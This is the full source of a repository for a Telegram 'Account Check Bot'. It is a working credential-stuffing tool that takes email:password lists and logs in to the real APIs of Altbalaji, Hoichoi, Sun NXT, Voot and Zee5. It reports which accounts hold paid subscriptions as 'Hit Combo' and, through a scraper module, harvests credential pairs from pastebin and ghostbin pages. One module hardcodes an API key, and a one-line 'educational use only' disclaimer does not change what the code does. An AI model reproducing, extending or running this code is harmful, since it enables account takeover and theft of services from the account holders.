├── .gitignore ├── Bot ├── Checks │ ├── Altbalaji.py │ ├── hoichoi.py │ ├── sun.py │ ├── voot.py │ └── zee5.py ├── Miscellaneous │ └── Scraper.py ├── bot.py └── message.py ├── LICENSE ├── Procfile ├── README.md ├── app.json ├── requirements.txt └── start.sh /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | test.py 131 | -------------------------------------------------------------------------------- /Bot/Checks/Altbalaji.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from datetime import date 3 | from message import Editmessage, Sendmessage, logger 4 | 5 | def altbalaji_helper(chat_id, combo): 6 | status = Sendmessage(chat_id, 'Checking...') 7 | try: 8 | combo_split = combo.split(':') 9 | inpumail = combo_split[0] 10 | inpupass = combo_split[1] 11 | except IndexError: 12 | return Editmessage(chat_id, 'Enter Valid Combo😡😡', status) 13 | email= f'"username":"{inpumail}"' 14 | password = f'"password":"{inpupass}"' 15 | 16 | session_request = requests.Session() 17 | url = 'https://api.cloud.altbalaji.com/accounts/login?domain=IN' 18 | payload = '{%s,%s}' %(email, password) 19 | response = session_request.post(url, data=payload) 20 | result = response.json() 21 | if response.status_code != 200: 22 | state=result['status'] 23 | code=result['code'] 24 | messg = result['message'] 25 | text = f'Bad Combo ❌\nCombo: {combo}\nStatus: {state}\nCode: {code}\nMessage: {messg}\nSite: Altbalaji' 26 | Editmessage(chat_id, text, status) 27 | return 28 | session_token = result['session_token'] 29 | subs_url = 'https://payment.cloud.altbalaji.com/accounts/orders?limit=1&domain=IN' 30 | head2 = { 31 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 32 | 'accept': 'application/json, text/plain, */*', 33 | 'sec-fetch-site': 'same-site', 34 | 'sec-fetch-mode': 'cors', 35 | 'sec-fetch-dest': 'empty', 36 | 'content-type': 'application/json', 37 | 'xssession': str(session_token), 38 | } 39 | response = session_request.get(subs_url, headers=head2) 40 | result = response.json() 41 | if result['orders'] == []: 42 | expired_text = f'Free Combo ❌\nSite: Altbalaji\nCombo: {combo}\nStatus: Free' 43 | Editmessage(chat_id, expired_text, status) 44 | return 45 | validto = result['orders'][0]['dates']['valid_to'] 46 | validtosplit = validto.split('T')[0] 47 | sub2split = validtosplit.split('-') 48 | trial = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) < date.today() 49 | if trial: 50 | free_text = f'Expired Combo ❌\nSite: Altbalaji\nCombo: {combo}\nStatus: Expired/Free' 51 | Editmessage(chat_id, free_text, status) 52 | return 53 | days = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) - date.today() 54 | subscription = result['orders'][0]['product']['titles'] 55 | Pack_name = subscription['default'] 56 | Pack_recur = str(result['orders'][0]['product']['recurring']) 57 | Pack_date = subscription['en'] 58 | pro_message = f'🌟 Hit Combo 💫\nSite: Altbalaji\nCombo: {combo}\nStatus: Premium\nPlan: {Pack_name}\nType: {Pack_date}\nDays Left: {days.days}\nRecurring: {Pack_recur.capitalize()}' 59 | Editmessage(chat_id, pro_message, status) 60 | -------------------------------------------------------------------------------- /Bot/Checks/hoichoi.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from datetime import date 3 | from message import Editmessage, Sendmessage, logger 4 | 5 | head = { 6 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 7 | 'accept': 'application/json, text/plain, */*', 8 | 'content-type': 'aapplication/json;charset=UTF-8', 9 | 'origin': 'https://www.hoichoi.tv', 10 | 'referer': 'https://www.hoichoi.tv/', 11 | } 12 | def hoichoi_helper(chat_id, combo): 13 | status = Sendmessage(chat_id, 'Checking...') 14 | try: 15 | combo_split = combo.split(':') 16 | inpumail = combo_split[0] 17 | inpupass = combo_split[1] 18 | except IndexError: 19 | print(combo) 20 | Editmessage(chat_id, 'Enter Valid Combo😡😡', status) 21 | return 22 | email= f'"email":"{inpumail}"' 23 | password = f'"password":"{inpupass}"' 24 | session_request = requests.Session() 25 | url = 'https://prod-api.viewlift.com/identity/signin?site=hoichoitv&deviceId=browser-f76c181a-94b5-11eb-a8b3-0242ac130003' 26 | payload = '{%s,%s}' %(email, password) 27 | response = session_request.post(url,headers=head, data=payload) 28 | result = response.json() 29 | if response.status_code != 200: 30 | code=result['code'] 31 | messg = result['error'] 32 | text = f'Bad Combo ❌\nCombo: {combo}\nCode: {code}\nMessage: {messg}\nSite: Hoichoi' 33 | Editmessage(chat_id, text, status) 34 | return 35 | elif result['isSubscribed'] == False: 36 | free_text = f'Expired Combo ❌\nSite: Altbalaji\nCombo: {combo}\nStatus: Expired/Free' 37 | Editmessage(chat_id, free_text, status) 38 | return 39 | user_token = result['authorizationToken'] 40 | head2 = { 41 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 42 | 'accept': 'application/json, text/plain, */*', 43 | 'authorization': user_token, 44 | 'origin': 'https://www.hoichoi.tv', 45 | 'referer':'https://www.hoichoi.tv/', 46 | 'x-api-key': 'PBSooUe91s7RNRKnXTmQG7z3gwD2aDTA6TlJp6ef' 47 | } 48 | url2 = 'https://prod-api.viewlift.com/subscription/user?site=hoichoitv&userId=f76c181a-94b5-11eb-a8b3-0242ac130003' 49 | session2 = session_request.get(url2, headers=head2) 50 | result2 = session2.json() 51 | timedioint = result2["subscriptionInfo"]["subscriptionEndDate"].split('T')[0] 52 | sub2split = timedioint.split('-') 53 | trial = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) - date.today() 54 | pro_message = f'🌟 Hit Combo 💫\nSite: Hoichoi\nCombo: {combo}\nStatus: Premium\nPlan: {result2["subscriptionPlanInfo"]["name"]}\nDays Left: {trial.days}\nRecurring: {result2["subscriptionPlanInfo"]["renewable"]}' 55 | Editmessage(chat_id, pro_message, status) 56 | return 57 | 58 | -------------------------------------------------------------------------------- /Bot/Checks/sun.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | from message import Sendmessage, Editmessage 4 | import json 5 | 6 | head = { 7 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 8 | } 9 | # Grabbing Crsf token on recycling of heroku 10 | req = requests.get("https://www.sunnxt.com/", headers=head) 11 | soup = BeautifulSoup(req.content, "html.parser") 12 | crsf_token = soup.find("meta", {"name": "csrf-token"})['content'] 13 | 14 | 15 | def Sun_helper(chat_id, combo): 16 | status = Sendmessage(chat_id, 'Checking...') 17 | try: 18 | combo_split = combo.split(':') 19 | email = combo_split[0] 20 | password = combo_split[1] 21 | except IndexError: 22 | print(combo) 23 | Editmessage(chat_id, 'Enter Valid Combo😡😡', status) 24 | return 25 | head["x-csrf-token"] = crsf_token 26 | head["x-requested-with"] = 'XMLHttpRequest' 27 | head["accept"] = "application/json, text/plain, */*" 28 | head["content-type"] = "application/json;charset=UTF-8" 29 | ipu_mail = f'"email": "{email}"' 30 | ipu_pass = f'"password": "{password}"' 31 | payload = '{%s,%s}' %(ipu_mail, ipu_pass) 32 | req2 = requests.post("https://www.sunnxt.com/login", headers=head, data=payload) 33 | resonse = req2.json() 34 | if req2.status_code != 200: 35 | text = f'Bad Combo ❌\nCombo: {combo}\nStatus: Error\nCode: {req2.status_code}\nMessage: {resonse["error"]}\nSite: Sun NXT' 36 | Editmessage(chat_id, text, status) 37 | return 38 | profile = json.loads(resonse["profile"]) 39 | pack_active = profile["result"]["profile"]["subscriptionStatus"] 40 | if pack_active == "Expired" or pack_active == "Inactive": 41 | free_text = f'Free/Expired Combo ❌\nSite: Sun NXT\nCombo: {combo}\nStatus: {pack_active}' 42 | Editmessage(chat_id, free_text, status) 43 | return 44 | pack_name = resonse["userSubscriptions"]["results"][0]["displayName"] 45 | date = resonse["userSubscriptions"]["results"][0]["validityEndDate"] 46 | pro_message = f'🌟 Hit Combo 💫\nSite: Sun NXT\nCombo: {combo}\nStatus: {pack_active}\nPlan: {pack_name}\nExpire On: {date}' 47 | Editmessage(chat_id, pro_message, status) 48 | return -------------------------------------------------------------------------------- /Bot/Checks/voot.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from message import Sendmessage, Editmessage, logger 3 | from datetime import datetime 4 | 5 | 6 | head = { 7 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 8 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 9 | 'sec-fetch-site': 'cross-site', 10 | 'sec-fetch-mode': 'cors', 11 | 'sec-fetch-dest': 'empty', 12 | 'content-type': 'application/json;charset=UTF-8', 13 | } 14 | 15 | def Voot_helper(chat_id, combo): 16 | status = Sendmessage(chat_id, 'Checking...') 17 | try: 18 | combo_split = combo.split(':') 19 | inpumail = combo_split[0] 20 | inpupass = combo_split[1] 21 | except IndexError: 22 | return Editmessage(chat_id, 'Enter Valid Combo😡😡', status) 23 | session_requests = requests.session() 24 | email = f'"email": "{inpumail}"' 25 | password = f'"password":"{inpupass}"' 26 | payload = '{"type":"traditional","deviceId":"X11","deviceBrand":"PC/MAC","data":{%s,%s}}' % ( 27 | email, password) 28 | 29 | login_url = "https://userauth.voot.com/usersV3/v3/login" 30 | 31 | result = session_requests.post(login_url, data=payload, headers=head) 32 | response = result.json() 33 | if result.status_code != 200: 34 | logger.info('Login Failed') 35 | code = response['status']['code'] 36 | msg = response['status']['message'] 37 | text = f'Bad Combo ❌\nCombo: {combo}\nStatus: Error\nCode: {code}\nMessage: {msg}\nSite: Voot' 38 | Editmessage(chat_id, text, status) 39 | return 40 | acess = response['data']['authToken']['accessToken'] 41 | head2 = { 42 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 43 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 44 | 'sec-fetch-site': 'same-site', 45 | 'sec-fetch-mode': 'cors', 46 | 'sec-fetch-dest': 'empty', 47 | 'accesstoken': str(acess), 48 | } 49 | subs_url = 'https://pxapi.voot.com/smsv4/int/ps/v1/voot/transaction/list' 50 | response = session_requests.get(subs_url, headers=head2) 51 | result = response.json() 52 | total = result['results']['total'] 53 | if int(total) == 0: 54 | free_text = f'Expired Combo ❌\nSite: Voot\nCombo: {combo}\nStatus: Expired' 55 | Editmessage(chat_id, free_text, status) 56 | return 57 | pay_list = result['results']['list'][0] 58 | ts = int(pay_list['endDate']['timeStamp']) 59 | print(ts) 60 | try: 61 | human = datetime.utcfromtimestamp(ts) 62 | except ValueError: 63 | human = datetime.fromtimestamp(ts/1000.0) 64 | expire = human < datetime.today() 65 | if expire: 66 | expire_text = f'Expired Combo ❌\nSite: Voot\nCombo: {combo}\nStatus: Expired' 67 | Editmessage(chat_id, expire_text, status) 68 | return 69 | Pack_name = pay_list['itemDetails']['name'] 70 | Pack_recur = pay_list['itemDetails']['isRenewable'] 71 | days = human - datetime.today() 72 | pro_message = f'🌟 Hit Combo 💫\nSite: Voot\nCombo: {combo}\nStatus: Premium\nPlan: {Pack_name}\nDays Left: {days.days}\nRecurring: {Pack_recur}' 73 | Editmessage(chat_id, pro_message, status) 74 | 75 | 76 | -------------------------------------------------------------------------------- /Bot/Checks/zee5.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from message import logger, Sendmessage, Editmessage 3 | from datetime import date 4 | 5 | head = { 6 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 7 | 'accept': 'application/json', 8 | 'content-type': 'application/json', 9 | } 10 | 11 | def zee_helper(chat_id, combo): 12 | status = Sendmessage(chat_id, 'Checking....') 13 | try: 14 | combo_split = combo.split(':') 15 | inpumail = combo_split[0] 16 | inpupass = combo_split[1] 17 | except IndexError: 18 | Editmessage(chat_id, 'Enter Valid Combo😡😡', status) 19 | return 20 | session_requests = requests.session() 21 | email= f'"email": "{inpumail}"' 22 | password = f'"password":"{inpupass}"' 23 | payload = '{%s,%s}' %(email, password) 24 | login_url = "https://userapi.zee5.com/v2/user/loginemail" 25 | result = session_requests.post(login_url, data=payload, headers=head) 26 | response = result.json() 27 | if result.status_code != 200: 28 | logger.info('Login Failed') 29 | code = response['code'] 30 | msg = response['message'] 31 | text = f'Bad Combo ❌\nCombo: {combo}\nStatus: Error\nCode: {code}\nMessage: {msg}\nSite: Zee5' 32 | Editmessage(chat_id, text, status) 33 | return 34 | acess = response['access_token'] 35 | head2 = { 36 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 37 | 'accept': '*/*', 38 | 'sec-fetch-site': 'same-site', 39 | 'sec-fetch-mode': 'cors', 40 | 'sec-fetch-dest': 'empty', 41 | 'authorization': 'bearer '+str(acess), 42 | } 43 | subs_url = 'https://subscriptionapi.zee5.com/v1/subscription?translation=en&country=IN&include_all=flase' 44 | response1 = session_requests.get(subs_url, headers=head2) 45 | result1 = response1.json() 46 | # print(result1) 47 | if result1 == []: 48 | expire_text = f'Expired Combo ❌\nSite: Zee5\nCombo: {combo}\nStatus: Expired' 49 | Editmessage(chat_id, expire_text, status) 50 | return 51 | timedioint = result1[0]["subscription_end"].split('T')[0] 52 | sub2split = timedioint.split('-') 53 | trial = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) - date.today() 54 | Pack_name = result1[0]['subscription_plan']['title'] 55 | pack_price = str(result1[0]['subscription_plan']['price']) 56 | Pack_recur = result1[0]['recurring_enabled'] 57 | Pack_pyed = result1[0]['payment_provider'] 58 | pro_message = f'🌟 Hit Combo 💫\nSite: Zee5\nCombo: {combo}\nPlan: {Pack_name}\nPrice: {pack_price} INR\nDays Left: {trial.days} Days\nPayment: {Pack_pyed}\nRecurring: {Pack_recur}' 59 | # print(pro_message) 60 | Editmessage(chat_id, pro_message, status) -------------------------------------------------------------------------------- /Bot/Miscellaneous/Scraper.py: -------------------------------------------------------------------------------- 1 | import re 2 | from bs4 import BeautifulSoup 3 | import requests 4 | from throwbin import ThrowBin 5 | from message import Sendmessage, Editmessage 6 | 7 | def pastebin(chat_id, link): 8 | response = requests.get(link) 9 | soup = BeautifulSoup(response.content, 'html.parser') 10 | text = soup.find('textarea', 'textarea').text 11 | lst = re.findall('\S+@\S+.\S+:\S+', str(text)) 12 | sperator = '\n' 13 | cleared = sperator.join(lst) 14 | Sendmessage(chat_id, cleared) 15 | 16 | def ghostbin(chat_id, link): 17 | response = requests.get(link) 18 | soup = BeautifulSoup(response.content, 'html.parser') 19 | text = soup.find('textarea', 'form-control').text 20 | lst = re.findall('\S+@\S+.\S+:\S+', str(text)) 21 | sperator = '\n' 22 | cleared = sperator.join(lst) 23 | Sendmessage(chat_id, cleared) 24 | 25 | def text_scraper(chat_id, text): 26 | lst = re.findall('\S+@\S+.\S+:\S+', str(text)) 27 | sperator = '\n' 28 | cleared = sperator.join(lst) 29 | Sendmessage(chat_id, cleared) 30 | 31 | def throwbin(chat_id, text): 32 | msg = Sendmessage(chat_id, 'Pasting...') 33 | try: 34 | real = text.split('|') 35 | title = real[0] 36 | real_text = real[1] 37 | except IndexError: 38 | real_text = text 39 | title = '@acc_checkbot' 40 | tb = ThrowBin() 41 | my_paste = tb.post( 42 | title=title, 43 | text=real_text, 44 | syntax="text" 45 | ) 46 | print(f"Status {my_paste.status} | Link: {my_paste.link}") 47 | msg_txt = f'Pasted ✅\nStatus: {my_paste.status}\nLink: {my_paste.link}' 48 | Editmessage(chat_id, msg_txt, msg) 49 | 50 | -------------------------------------------------------------------------------- /Bot/bot.py: -------------------------------------------------------------------------------- 1 | from telegram import InlineKeyboardButton, InlineKeyboardMarkup 2 | from telegram.ext import ( CommandHandler, Filters, MessageHandler, Updater) 3 | from message import Editmessage, Sendmessage, logger 4 | from Checks.Altbalaji import altbalaji_helper 5 | from Checks.hoichoi import hoichoi_helper 6 | from Checks.voot import Voot_helper 7 | from Checks.zee5 import zee_helper 8 | from Checks.sun import Sun_helper 9 | from Miscellaneous.Scraper import pastebin, text_scraper, throwbin, ghostbin 10 | import os 11 | 12 | 13 | bot_token = os.environ.get('TG_BOT_TOKEN') 14 | startmessage = [[ 15 | InlineKeyboardButton( 16 | "Telegraph 📝", 17 | url='https://telegra.ph/Instructions-to-Use-This-Bot-04-07' 18 | ), 19 | InlineKeyboardButton( 20 | "DEV 👷🏻", 21 | url='https://t.me/pseudo_monk' 22 | ) 23 | ]] 24 | 25 | 26 | def start(update, context): 27 | info = update.effective_user 28 | print(info) 29 | chat_id = info.id 30 | userid= info['username'] 31 | text = f'Welcome @{userid}, To Account Check Bot, to know more use /help or read the telegraph below. This bot is provided for educational use only, any misuse then you should be responsible' 32 | Sendmessage(chat_id, text, reply_markup=InlineKeyboardMarkup(startmessage)) 33 | return 34 | 35 | 36 | def combos_spilt(combos): 37 | split = combos.split('\n') 38 | return split 39 | 40 | 41 | def help(update, context): 42 | chat_id = update.message.chat_id 43 | text = "Available Sites:\n!alt~space~combo* - to check Altbalaji accounts\n!hoi~space~combo* - to check Hoichoi accounts\n!voo~space~combo* - to check Voot accounts\n!zee~space~combo* - to check Zee5 accounts\n\nMiscellaneous:-\n!pst~space~title|text - to paste text on Throwbin.io and get paste link(If you don't want to give title then skip it just send the text)\n\n*combo here means Email:password combination,':' is important." 44 | Sendmessage(chat_id, text, reply_markup= InlineKeyboardMarkup(startmessage)) 45 | 46 | def duty(update, context): 47 | chat_id = update.message.chat_id 48 | text = update.message.text.split(' ', 1) 49 | if text[0] == '!alt': 50 | if '\n' in text[1]: 51 | simple = combos_spilt(text[1]) 52 | for i in simple: 53 | altbalaji_helper(chat_id, i) 54 | Sendmessage(chat_id, 'Completed') 55 | else: 56 | altbalaji_helper(chat_id, text[1]) 57 | elif text[0] == '!voo': 58 | if '\n' in text[1]: 59 | simple = combos_spilt(text[1]) 60 | for i in simple: 61 | Voot_helper(chat_id, i) 62 | Sendmessage(chat_id, 'Completed') 63 | else: 64 | Voot_helper(chat_id, text[1]) 65 | elif text[0] == '!hoi': 66 | if '\n' in text[1]: 67 | simple = combos_spilt(text[1]) 68 | for i in simple: 69 | hoichoi_helper(chat_id, i) 70 | Sendmessage(chat_id, 'Completed') 71 | else: 72 | hoichoi_helper(chat_id, text[1]) 73 | elif text[0] == '!zee': 74 | if '\n' in text[1]: 75 | simple = combos_spilt(text[1]) 76 | for i in simple: 77 | zee_helper(chat_id, i) 78 | Sendmessage(chat_id, 'Completed') 79 | else: 80 | zee_helper(chat_id, text[1]) 81 | elif text[0] == '!sun': 82 | if '\n' in text[1]: 83 | simple = combos_spilt(text[1]) 84 | for i in simple: 85 | Sun_helper(chat_id, i) 86 | Sendmessage(chat_id, 'Completed') 87 | else: 88 | Sun_helper(chat_id, text[1]) 89 | elif text[0] == '!pst': 90 | try: 91 | throwbin(chat_id, text[1]) 92 | except IndexError: 93 | Sendmessage(chat_id, "Somethings wrong with your format!") 94 | else: 95 | logger.info('Unknown Command') 96 | 97 | 98 | def scraperdfnc(update, context): 99 | msg = update.message.text 100 | status_msg = update.message 101 | chat_id = status_msg.chat_id 102 | try: 103 | if 'pastebin' in msg: 104 | link = msg.split(' ')[1] 105 | pastebin(chat_id,link) 106 | elif 'ghostbin' in msg: 107 | link = msg.split(' ')[1] 108 | ghostbin(chat_id,link) 109 | else: 110 | scrape_text = status_msg['reply_to_message']['text'] 111 | text_scraper(chat_id, scrape_text) 112 | except: 113 | Sendmessage(chat_id, 'Only Supports pastebin, please check if you send paste bin link') 114 | 115 | def main(): 116 | updater = Updater( 117 | bot_token, 118 | use_context=True 119 | ) 120 | dp = updater.dispatcher 121 | dp.add_handler(MessageHandler(Filters.text & ~Filters.command, duty)) 122 | dp.add_handler(CommandHandler("scrape", scraperdfnc)) 123 | dp.add_handler(CommandHandler("start", start)) 124 | dp.add_handler(CommandHandler("help", help)) 125 | logger.info("Bot Started!!!") 126 | updater.start_polling() 127 | updater.idle() 128 | 129 | 130 | if __name__ == "__main__": 131 | main() 132 | -------------------------------------------------------------------------------- /Bot/message.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from telegram import Bot 3 | import os 4 | 5 | logging.basicConfig( 6 | format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", 7 | level=logging.INFO 8 | ) 9 | logger = logging.getLogger(__name__) 10 | 11 | bot_token = os.environ.get('TG_BOT_TOKEN') 12 | bot = Bot(bot_token) 13 | 14 | def Sendmessage(chat_id, text,reply_markup=None): 15 | try: 16 | message = bot.send_message(chat_id=chat_id, text=text, reply_to_message_id=None,parse_mode="HTML", reply_markup=reply_markup) 17 | msg_id = message.message_id 18 | return msg_id 19 | except Exception as e: 20 | logger.info(e) 21 | raise UserWarning 22 | 23 | 24 | def Editmessage(chat_id, text, msg_id, reply_markup=None): 25 | try: 26 | bot.edit_message_text(chat_id=chat_id, text=text, message_id=msg_id,parse_mode="HTML", reply_markup=reply_markup) 27 | except Exception as e: 28 | logger.info(e) 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Akash R Chandran 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | worker : chmod +x start.sh && bash start.sh -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | Account Check Bot 3 |

4 | 5 |
6 | 7 | [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) 8 | 9 |
10 | 11 | 12 | 13 | 16 | 22 | 23 |
14 | Telegram Bot using a simple Python Telegram Bot library, which can check if email and passwords are correct for many sites and returns if the account have any subscription 15 | 17 | For Demo you can check 18 | 19 | 20 | 21 |
24 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Account Checker Bot", 3 | "description": "Checks Accounts and send results as telegram message", 4 | "keywords": [ 5 | "Account-Checker", 6 | "python", 7 | "telegram", 8 | "telegram-bot", 9 | "Exploit" 10 | ], 11 | "repository": "https://github.com/akashrchandran/Account_checkbot/", 12 | "success_url": "/", 13 | "env": { 14 | "TG_BOT_TOKEN": { 15 | "description": "Get your token from @BotFather and paste it here." 16 | } 17 | }, 18 | "formation": { 19 | "worker": { 20 | "quantity": 1, 21 | "size": "free" 22 | } 23 | }, 24 | "image": "heroku/python" 25 | } 26 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | python-telegram-bot==13.15 2 | requests 3 | datetime 4 | pymongo 5 | bs4 6 | throwbin 7 | -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | python3 Bot/bot.py "$@" --------------------------------------------------------------------------------